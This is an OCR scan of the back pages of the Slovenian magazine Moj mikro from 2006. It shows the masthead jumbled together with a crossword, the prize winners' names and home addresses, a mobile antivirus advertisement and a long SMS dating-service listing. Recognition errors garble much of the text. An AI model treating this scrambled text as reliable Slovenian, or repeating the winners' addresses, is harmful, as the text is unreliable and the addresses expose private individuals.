> Enestavna namestitev in uporaba v slovenskem jeziku sEsBrﬁgﬁ, : GLAVNI UREDNIK: Marian Kodelia
IORALKA 1 0DGOVORNI UREDNIK: Zoran Banovic
— "ng,f&" POMOCNIKA GLAVNEGA UREDNIKA:
F.SEG“BE MﬂBIlE e || [om Zlatko Mati¢ in Mian Siméic
; DENARNA UREDNIK: Jaka Mele
n"-" "““'s NAKAZNICA — UREDNIK FOTOGRAFIJE:
— = ANG. Alan Orli¢ BelSak
e uTEZNA FESNK. Zilcz.iig.( LIKOVNA ZASNOVA: Andir] Mavsar
Zascitite svoje mobilne naprave: =<0 0 o [—— T ;E:::(CT':]IREIHEDNIK' Andrej Mavsar
GORAV -
> Transparentna zaicita pred 5kkod|iivimi vsebinami v realnem Kéﬂ/}mi Slobodan Vujanovi¢
&asu, na napravi in spominski kartici . 5 3
» Samodejne posodobitve baze virusov iz laboratorija F-Secure ALPAH OGLASNO TRZENJE:
Anti-Virus Research Lab na mobilne terminale prek HTTPS . GALIJ E/EFEGE&XUE, d.d.
atkovne povezave ali inkrementalno prek SMS sporogil GRSMIT. ([ | | TR : Lo
» gz‘rdnodeino gjkrivonie GPRS povezav z:fizvedbo P° SODNIK Plgz'?gll.J Dunajska 5, 1509 Ljubljana
posodobitve s terminge~~ }—====9 (EMMANUIL) tel.:(01) 473 81 11
» Breziéna |overthe-air aktivacija profivirusne storitve prek POSLIFI'IK faks: (01) 473 81 29 o
HTTPS gﬁﬂf (ANTON) e-posta: marketing@delo-revije.si
» Samodejne poscdobitve odjemalca storitve F-Secure Mobile "KOLIGINA KOLPORTAZA:
ARV _ ) ) SL.SKLA- ENo DELO REVIJE, d. d.
» Digitalno podpisane boze in posodabitve baze virusow DATELJ coLo | EbvArD Marketing
(FRANCE) DEBELA | MILER - e
.......... - DESKA Dunajska 5, 1509 Ljubljana
UPANJE tel.: (01) 4738120
P T PESHIK ggﬁ%ﬂ BERsKl | GLAYNO Vo faks: (91 4738253
SANDAR | PRECH LUDO- DRAS. | POLOTOK | JEov? | KRAJNA NAROCNINE:
SUJDOVIC VICO Kovic KRKU DELO REVIE, d. d.
IME, AVTO- Markgting o
T(Ee'gi MBclﬁ\lh Jzé\ Dunajska 5, 1509 Ljubljana
POKALA tel.: (01)4738123,4738124
NIZOZEM. ORGANSKI faks:v(0'1 )47382 53 L
OTOKV RADIKAL TRGOVEC e-posta: narocnine@delo-revije.si
VALIH LIUDSKO ZMoKo Posamezni izvod stane
ANTILIH GLASBILO
SRR 980 SIT, 4,09 EUR. )
LASTNIK V INDII Cenarevije v EUR je preracunana
VIKENDA VR po centralnem paritetnem tecaju
VANJE 1EUR = 239,640 SIT.
TRADIO v GRCRKA Narocniki imajo posebne
NOBELW | | [ e - POD | vaNs ugodnosti. Naroite se lahko
LOMLJE- 322"},}’,‘4 KOT ENA pisno (klasicna in elektronska
LHo- PLASTAST posta) ali telefonsko. Revijo
PRSTI OBLAK boste zaceli prejemati po prvem
TK/?S] “AVGUST placilu od tekoGe Stevilke naprej.
ZIGON Narocnina velja do vasega
ELA preklica.
STATIV (bﬂﬂg)" Naro&nina za tujino se poravnava
za eno leto vnaprej in znasa:
5 70 EUR, 111 USD, 161 AUD.
gg%ﬁ LOVEC Zavse informacije v zvezi
OTROK KA z naro¢anjem edicije Smo
— na voljo na zgoraj navedenih
Izid Zrebanja nagradne krizanke iz 6. Stevilke Mojega mikra - NAJDI SIV TVOJEM ZEPU telefonskih Stevilkah ali

5 enakovrednih prakticnih nagrad podjetja Noviforum, d.o.o., Stegne 31, 1000 Ljubljana, v vrednosti po 5.000 SIT dobijo izzrebanci po elektronski posti.
posti: Cirila Hladnik, Triglavska ulica 24, 5280 Idrija, Marko Kump, I3ka 154, 1292 lg, Zvonimir Lango, Hrusica 58 D, 4276 Hrusica, Alojz Nenarocenih besedil in fotografi]

Peternelj, Celovika 99 B, 1000 Ljubljana, Gaj Tanko, Heroja Rojska 11, 3000 Celje. Nagrajenci bodo nagrade prejeli po posti. ne vracamo.
DIGITALNA OBDELAVA FOTOGRAFI
Ime in priimek: IN OSVETLJEVANJE PLOSC:
Delo Repro, d. 0. 0.
Naslov: Dunajska 5, Ljubljana

TISK:
DELO TISKARNA, d. d.
Dunajska 5, Ljubljana

i o
mM’aU Dav¢na Stevilka:

julijj 2006
natisnjeno -~
Podjetje AMIS d.0.0., TrZaska 85, 2000 Maribor bo podelilo dve ) 50JO R REV i J E|

G,ESLOL ,,,,,,,,,,,,,,,, - nagradi izzrebancema, ki bosta napisala pravilno geslo iz krizanke:
1. nagrado v vrednosti 16.990 sit in 2. nagrado v vrednosti 8.990 SIT.
moj mikro | 7/8 | julij/avgust | 2006




0ddaj svoj oglas

rogtii sMs: FLIRT START na 6161

OUguw:l N Par vprasanj in ze si na o3zl

SPELCA1 (31) Simpaticna devica

ZVEZDA2 (34) drznapustolovka

MICHELL (35) privlacno simpaticna
instrastna

ZAPELJIVI (20) sem zelo simpaticna
zapeljiva rjavo oka skorpijonka

VASIA4 — (24) simpaticna malce
trmasta kozoroginja razocarana v
ljubezni

LAURY (1B) simpaticna,zgovorna in
energicna skorpijonka

LEA21 (21) simpaticna blond rakica

W8 SEXBEJBIKA (20) lepa nasmejana
med.sestra po hor owen isce resno
wezo

CEBELICAL  (23) Sem preprosta,
vedno dobre volje in z dolocenimi
cilji.

mén {39) levinja, sexi.

SASA4 (25) simpaticna rakica rjavih

ocl

R JANJAA (29) vesela ribica iz
stajerske

RJAVOLAS1 (38) rjavih oci in brez
obveznosti

BAROCCO1 (38) Modrooka.rdecelasa
kozoroginja

TIGRICAS (27) Cao sem vesela rakica,
plavihoci, ki sizelizabave.

R POMLAD (40) Sivo plave oci
skorpionka

NEJKAL (28) zelo razocarana, rada bi
senazajsmejala

BEJBA3  (19) sem vesela zabavna
rakica polna energije zato me
spoznaj

MISKA2 (33) plavooka skorpionka

SIMONAZ (31) simpaticna bjonda
virje postave sivo zelene oci

MALENAL (25) Vedno nasmejana,zelo
simpaticna in baje zelo sexipilna.
Zanimajo me samo resnifantje. Kiss

&0 LEILA (22) visoka 165, kg 60,
zelene oci, hodim v trgovsho solo

PUNCA20 (20) Lustna rakica isce
prijatelja za kino, kavo... Nic
obvezujocega. Bodi resen in
prijazen.

B AN (20) Lusna simpaticna
vodnarka z zeleno sivimi ocmi

BOJEVNICA {22) Sem sipaticna ribica.
Rada se zabavam! Zelo diskretna,
rada bi spoznala resnegafanta!

ZVEZDICAZ (24) lepa skorpijonka

Iskanje kontaktov

Poslii SMS: FLIRT NAJDI na 6161

stontve pofrjwete, da se stnngate 5 spolEnimi po

Klepet z Zeljeno osebo

Poslii SMS: FLIRT Vzdevek Tvoje sporocilo na 6161
Primer e pises osebi Mojca: FLIRT Mojca zivjo kako si?

VRTNICAB (21) ce hocemo leteti.se
moramo objeti

SANYAL (24) Neverjetno simpaticno
dekle

ROZICA3 (27) simpaticna solzica

TIA3 (29) zgovorna simpaticna

TECKA (27) Modrooka, blond, 176cm,
59 kg, za obcasna druzenja

& BOLGA (22) Lusnavodnarka drobne
postave,modrih oci.ter svetlih dolgih
las.

TEMNOOKA (32) simpaticno navihana
ovnicakiljubi poletne dni

SANJAL (37) simpaticna levinja

LEJLA (25) obdarjena bikica

&3 AZMA  (22) simpatna dvojcica,
rjave ociin blond lasi

AMARITA (40} magicna skorpijonka,
dolgih crnih las!

BILLYKA (22) Energicna kozoroginja

KRISTY1 (28) nezna svetlolasa bikica
zelina razvajanja.

ANAT (28) zasanjana devica

&BCLAUDIA  (24) simpaticna
blondinka, zelenih oci, zgovorna,
vedno za zur

STELLAZ  (29) vodnarka, svetlih-
dolgih las, modrih oci, taprave
postave, vedna nasmejanal

SONCEK13 (32) zabavna,
dobrovoljna, simpaticna,
karizmaticna ovnica

TAMCY (27) razocarana sexy
blondinka, postena.. isce prijatelja
zaresno vezo!

B KIMBERLY (28) Lustna vodnarka
zelenih oci vedno nasmejana vedno
moskim na razpolago. Bodite iz ok.
Lesc, radovlice

POLONAZ (23) postavna crnolaska

SONCEKS (36) Razocarana ribica iz
stajerske

LUNAL (26) zlo simpaticna korosica
isce atraktivnega, ambicioznega
fanta

BLONDA (36) Simpaticna skrpijonka

ZVEZDA1 (34) zaposlena mamica. Sem
izLJ, skorpijonka

BLONDI1 (26) Simpaticna,
nasmejana devicka

ANAG6  (23) simpaticna crnolaska,
polna presenecen;

GEISA (31) Umetnica, kozoroginja, za
hece in za res, uzivam v naravi in
dobridruzbi

KARMEN1 (25) Rjavooka, rjavolasa,
nasmejana in polna energije.

VALCI2 (26) Simpaticna blondinka!

3 MAJA  (20) lustna rakica vitke
postave z rjavimiocmi
JENA (26) prikupna strelka
TEJCI1 (29) Razocarana romanticna
dusica!
BORO1 (22) Sem Metka stara 22let, ce
sifantstarod 22 do 29 let se javi
LANA3 (37) priviacna kozoroginja
URSAS9 (30) rjavolasa ovnica ki ima
rada sportisce prijatelja
KAMELIJAL (30) simpaticna bikica
MISKA {33) temnolasa strelka
simpaticna urejena razocarana v
ljubezni
&3 JESSY1 (20) simpaticna, divia
strelka, zelenihociin svetlihlas
SONCEK  (33) simpaticna visoka
ribica, obozuje vodo in potovanja, pa
tebe cete spoznam.
TOSA (32) simpaticna kozoroginja
ABC1 (29) Lusna rakica, visoke suhe
postave modrih oci.
&3 GABIL (21) Lustna dvojcica, suhe
postave, vedno za dobro druzho.
TAMEK (34) Blondinka,manekenske
postave-temperamentna ribica.
&0 MANA (23) sem simpaticno dekle
i uziva v zivljenju, sem svetlo lasa
,modro oka invesela punca!

JURCEK2 (20) simpaticen in postaven
skorpjon

JACKE (39) simpaticen rjavolas
dvojcek kirad uzivavnaravi

SANDI2S (25) visok, srednje postave,
crnih las, modre oci, po horoskopu
kozorog

ROBERTO4 (28) sem fant star 28 in
zelim spoznat prijateljice sem urejen
posten fant

DUSAN27 (27) zabaven oven isce
resno zensko za resno 2vezo

STRELEC6 (29) simpaticen strelec,
razocaran v ljubezni, rad bi spoznal
punco za resno vezo!

& B TRUSSARDI (18) sem temnopolt,
imam crne lase zelene oci. 170cm
55kg. po stiluitalijan.

TOM4 (27) simpaticen temolas visoke
postave sportnik

EIMAJ (27) lusten, simpaticen,
zabaven, romanticen modroki oven,
situiran..

BENY2  (24) posten simpaticn
osamljen leveek

Ogled fotografije ljubljene osebe

Poslji SMS: FLIRT FOTO Vzdevek na 6161
Primer: FLIRT FOTO Alfa

ografige 2a Mobited j& 360SIT (1,501 in za Samabal 400 SIT (1,67€). Cene 5o 2 DOV-jem. Cena prejetega prival

ANONIMIND
24 URND
SMS FLIRTANJE

Povecaj si uspeh, poslji svojo fotografijo e
Poslji svojo sliko kot MMS na Sevilko 041 677 606

MAXIZ (22} Simpaticem fant visoke
postave, crnili|as, vedno dobre volje
inzazur.

APPLE (23) simpaticn, postavn vedno
zadobrodruzbo.

B UPANIE (35) Temen 182-85 bikec,
pravijp da simpaticen nasmejan,
resen v svojh - namenih, iskren,
spostljiv, sportnik, locen, sam, brez
otrok, lahko situ

TIN41 (41) Simpaticni blondi modrih
ocl, sportnik po dusi in stasu,
romantik, ljubiteljvsegalepega.

EBDAVID21 (22) Sm 21 letni skorpion
velikega srca, romanticen,
pripravijen ustvarit resno zvezo.
Bodi samo dobrega srca stara od 18
do22let.

RBVELIK (26) Temen vodnar 178
sportnik —rjavih oci vecinoma v
uniformi!

STANLY (33) simpaticen, sportne
postave, po horoskopu riba, ljubitelj
sporta

DUBLIN (28) iscem dekle zelino
ljubezni

MISTY (37) Simpaticen, zanimiv,
romantik

ROMSRAMEZLIIV (33) sramezljiv ribak
plavihoc, 182 visok.

LIUBEC4 (40} nezen, strastven oven
poln domislije

TAPRAVI (29) lusten, postaven. Iscem
pravtako puncoza kajresnega

NAL (22} Simpaticn-vodnar, rjavih oci
prijazen, za resno zvezo in veliko
vec:))

CUBI (27) vztrajen, priden, vcasih
trmast majski bik

I BOSTEK (31) Simpaticen sportne
postave modrih oci

HOTMACK (27) sem 185 82 kg sportnik
postavn modrih oci kratke riave lase
iscem resno simpaticno za resno
vez0

SANDI24 (24) sm luskan skorpijon za
luskano resno beybiko

ALES11 (32) preprostrak! Ne izbercen

ATLET (27} lustkan, 27let, crnolas,
sportnik.

STAJERC2 (24) tehnica mocnejse
postave osamljen prijazen

&0 NOGOMETL  (22) simpaticni
dvojcek crnih las zeleno modrih oci
sportne postave

BOSTIANS (33) simpaticen vodnar
zivo plavih ociisce resno punco

CAPE (21) sarmanten, simpaticen
vodnar
RAK2 (29) iscem resno in cedno
zensko, ki hoce prave ljubezen.
SKORPII2 (36) prijazen iskren sportno
navdahnjen skorpijon
PETERG (31) sem simpaticen dvojcek
iScem punco 2a resno 2vezo
TOUAREG (31) Sem zapeljiv, sporten,
sarmanten. Zelim spoznati starejso
damo!
MADRID (33) Prijetne zunanjosti
zanimivzelodruzabenin resen
MATEI9 (43) Razocaran skorpijon poln
energije
W0 MARTINL (39} custvena tehtnica
iscemnekaj vec (resnozvezolneboti
zal!
CRNI4 (34) osamljen romanticen
nezen ljubim smeh in salo
IVANG (34} razocaran v ljubezni in si
zelim iskrene mamice ali dekleta
LEGENDA (42} Strelec prijetnega
videza z modrimi ocmi in elegantno
postavo
WBRAKEC (31) sm simpaticen preprost
postaven sporten fant 183cm 73kg
rjavih las romantik resen prijazen
&BTIESTO (23) luskan fantisce punco
74 1esn0 Zvezo

LIDUAL (33) simpaticnaribica

KITTY2 (20) Crnolaska dvojcica iscem
simpaticno punce, 19-30 letki je
predvsem brez predsodkov

BABY2 (29) komunikativnalevinja

0SAMLIEZ (21) Osamljena ribica isce
prijateljstvo, kasneje mozno kaj vec!

BEYBA3 (20) strelka, simpaticna,
priazna...

MAYAL (27) zasanjana ter simpaticna
ribica

PERO21 (29) simpaticen oven 29 lepe
postave

HGAY (35) resn vodnar zeljan resnega
tipa

SAle (27) 27 postaven |]. obrita ritka
bodilep vitek

&3 LEPI1 (24) Sem temen tipo z

zelenimi ocmi, 182cm, 75kg,
misicast...|scem fajn tipaza...

Vec kontaktov na www.oaza.si

Dodatne informacije, nasveti in Zeljie 090 7117 cens e 157.31 sit/min 0 6527mn)
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